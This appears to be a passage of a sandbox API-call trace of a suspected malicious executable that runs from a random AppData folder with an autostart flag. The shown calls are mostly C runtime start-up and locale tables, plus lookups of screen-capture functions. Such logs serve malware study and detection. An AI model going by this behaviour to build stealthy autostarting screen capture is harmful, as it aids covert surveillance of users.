0x76ec85d4 [0101.311] GetProcAddress (hModule=0x76eb0000, lpProcName="SelectObject") returned 0x76ec4f70 [0101.311] GetProcAddress (hModule=0x76eb0000, lpProcName="GetDeviceCaps") returned 0x76ec4de0 [0101.312] GetProcAddress (hModule=0x76eb0000, lpProcName="GetBitmapBits") returned 0x76ecc155 [0101.312] GetProcAddress (hModule=0x76eb0000, lpProcName="BitBlt") returned 0x76ec5ea6 [0101.312] GetProcAddress (hModule=0x76eb0000, lpProcName="DeleteDC") returned 0x76ec58b3 [0101.312] GetProcAddress (hModule=0x76eb0000, lpProcName="CreateDCA") returned 0x76ec7bcc [0101.312] GetProcAddress (hModule=0x76eb0000, lpProcName="CreateCompatibleDC") returned 0x76ec54f4 [0101.312] GetProcAddress (hModule=0x76eb0000, lpProcName="CreateCompatibleBitmap") returned 0x76ec5f49 [0101.312] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x75160000 [0101.339] GetProcAddress (hModule=0x75160000, lpProcName="atexit") returned 0x7517c544 [0101.339] atexit (param_1=0x4c40920) returned 0 [0101.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f200 | out: lpSystemTimeAsFileTime=0x18f200*(dwLowDateTime=0xb00173c0, dwHighDateTime=0x1d56c59)) [0101.339] GetCurrentThreadId () returned 0x4d0 [0101.339] GetCurrentProcessId () returned 0x4cc [0101.339] QueryPerformanceCounter (in: lpPerformanceCount=0x18f1f8 | out: lpPerformanceCount=0x18f1f8*=6958181466) returned 1 [0101.340] GetStartupInfoW (in: lpStartupInfo=0x18f190 | out: lpStartupInfo=0x18f190*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x766a3519, hStdOutput=0x778cfd35, hStdError=0x77937daf)) [0101.340] GetProcessHeap () returned 0x35b0000 [0101.340] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76690000 [0101.340] GetProcAddress (hModule=0x76690000, lpProcName="FlsAlloc") returned 0x766a4f2b [0101.340] GetProcAddress (hModule=0x76690000, lpProcName="FlsFree") returned 0x766a359f [0101.340] GetProcAddress (hModule=0x76690000, lpProcName="FlsGetValue") returned 0x766a1252 [0101.340] GetProcAddress (hModule=0x76690000, lpProcName="FlsSetValue") returned 0x766a4208 [0101.340] GetProcAddress (hModule=0x76690000, lpProcName="InitializeCriticalSectionEx") returned 0x766a4d28 [0101.340] GetProcAddress (hModule=0x76690000, lpProcName="CreateEventExW") returned 0x7672410b [0101.340] GetProcAddress (hModule=0x76690000, lpProcName="CreateSemaphoreExW") returned 0x76724195 [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="SetThreadStackGuarantee") returned 0x766ad31f [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="CreateThreadpoolTimer") returned 0x766bee7e [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="SetThreadpoolTimer") returned 0x778f441c [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7791c50e [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="CloseThreadpoolTimer") returned 0x7791c381 [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="CreateThreadpoolWait") returned 0x766bf088 [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="SetThreadpoolWait") returned 0x779005d7 [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="CloseThreadpoolWait") returned 0x7791ca24 [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="FlushProcessWriteBuffers") returned 0x778d0b8c [0101.341] GetProcAddress (hModule=0x76690000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7798fde8 [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="GetCurrentProcessorNumber") returned 0x77921e1d [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="GetLogicalProcessorInformation") returned 0x76724761 [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="CreateSymbolicLinkW") returned 0x7671cd11 [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="EnumSystemLocalesEx") returned 0x7672424f [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="CompareStringEx") returned 0x767246b1 [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="GetDateFormatEx") returned 0x76736676 [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="GetLocaleInfoEx") returned 0x76724751 [0101.342] GetProcAddress (hModule=0x76690000, lpProcName="GetTimeFormatEx") returned 0x767365f1 [0101.343] GetProcAddress (hModule=0x76690000, lpProcName="GetUserDefaultLocaleName") returned 0x767247c1 [0101.343] GetProcAddress (hModule=0x76690000, lpProcName="IsValidLocaleName") returned 0x767247e1 [0101.343] GetProcAddress (hModule=0x76690000, lpProcName="LCMapStringEx") returned 0x767247f1 [0101.343] GetProcAddress (hModule=0x76690000, lpProcName="GetCurrentPackageId") returned 0x0 [0101.343] GetProcAddress (hModule=0x76690000, lpProcName="GetTickCount64") returned 0x766beee0 [0101.343] GetProcAddress (hModule=0x76690000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0101.343] GetProcAddress (hModule=0x76690000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0101.344] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3bc) returned 0x35d2cd8 [0101.344] GetCurrentThreadId () returned 0x4d0 [0101.344] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x18) returned 0x35c2cc0 [0101.344] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x800) returned 0x35d30a0 [0101.344] GetStartupInfoW (in: lpStartupInfo=0x18f160 | out: lpStartupInfo=0x18f160*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4242d8, hStdOutput=0x2f697012, hStdError=0x7c)) [0101.344] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0101.344] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0101.344] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0101.344] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart" [0101.344] GetEnvironmentStringsW () returned 0x35d38a8* [0101.344] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xb02) returned 0x35d43b8 [0101.344] FreeEnvironmentStringsW (penv=0x35d38a8) returned 1 [0101.344] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x511130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2b74.tmp.exe.exe")) returned 0x61 [0101.344] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xe8) returned 0x35d4ec8 [0101.344] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x9c) returned 0x35d38a8 [0101.344] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3e) returned 0x35c86f8 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x6c) returned 0x35d3950 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x6e) returned 0x35d39c8 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x78) returned 0x35c36f0 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x62) returned 0x35d3a40 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2e) returned 0x35cebe8 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x48) returned 0x35ca8e0 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x28) returned 0x35ce508 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1a) returned 0x35d25e0 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x4a) returned 0x35d3ab0 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x72) returned 0x35c3770 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x30) returned 0x35cec20 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2e) returned 0x35cec58 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1c) returned 0x35d2608 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0xd2) returned 0x35d3b08 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x7c) returned 0x35d3be8 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x36) returned 0x35d3c70 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3a) returned 0x35c8740 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x90) returned 0x35d3cb0 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x24) returned 0x35ce538 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x30) returned 0x35cec90 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x36) returned 0x35d3d48 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x48) returned 0x35ca930 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x52) returned 0x35d3d88 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3c) returned 0x35c8788 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x82) returned 0x35d3de8 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2e) returned 0x35cecc8 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x28) returned 0x35ce568 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1e) returned 0x35d2630 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2c) returned 0x35ced00 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x54) returned 0x35d3e78 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x52) returned 0x35d3ed8 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x2a) returned 0x35ced38 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3c) returned 0x35c87d0 [0101.345] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x54) returned 0x35d4fd0 [0101.346] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x24) returned 0x35ce598 [0101.346] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x30) returned 0x35ced70 [0101.346] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x8c) returned 0x35d3f38 [0101.346] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35d43b8 | out: hHeap=0x35b0000) returned 1 [0101.346] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x800) returned 0x35d3fd0 [0101.346] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x80) returned 0x35d47d8 [0101.346] GetLastError () returned 0x0 [0101.346] SetLastError (dwErrCode=0x0) [0101.346] GetLastError () returned 0x0 [0101.346] SetLastError (dwErrCode=0x0) [0101.347] GetLastError () returned 0x0 [0101.347] SetLastError (dwErrCode=0x0) [0101.347] GetACP () returned 0x4e4 [0101.347] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x220) returned 0x35d4860 [0101.347] GetLastError () returned 0x0 [0101.347] SetLastError (dwErrCode=0x0) [0101.347] IsValidCodePage (CodePage=0x4e4) returned 1 [0101.347] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f154 | out: lpCPInfo=0x18f154) returned 1 [0101.347] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ec1c | out: lpCPInfo=0x18ec1c) returned 1 [0101.347] GetLastError () returned 0x0 [0101.347] SetLastError (dwErrCode=0x0) [0101.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0101.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e998, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0101.347] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18ec30 | out: lpCharType=0x18ec30) returned 1 [0101.347] GetLastError () returned 0x0 [0101.347] SetLastError (dwErrCode=0x0) [0101.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0101.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e968, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0101.347] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0101.347] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18e758, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0101.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18ef30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿâpi/lñ\x18", lpUsedDefaultChar=0x0) returned 256 [0101.347] GetLastError () returned 0x0 [0101.347] SetLastError (dwErrCode=0x0) [0101.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0101.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e988, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ") returned 256 [0101.347] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0101.347] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ", cchSrc=256, lpDestStr=0x18e778, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0101.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18ee30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ 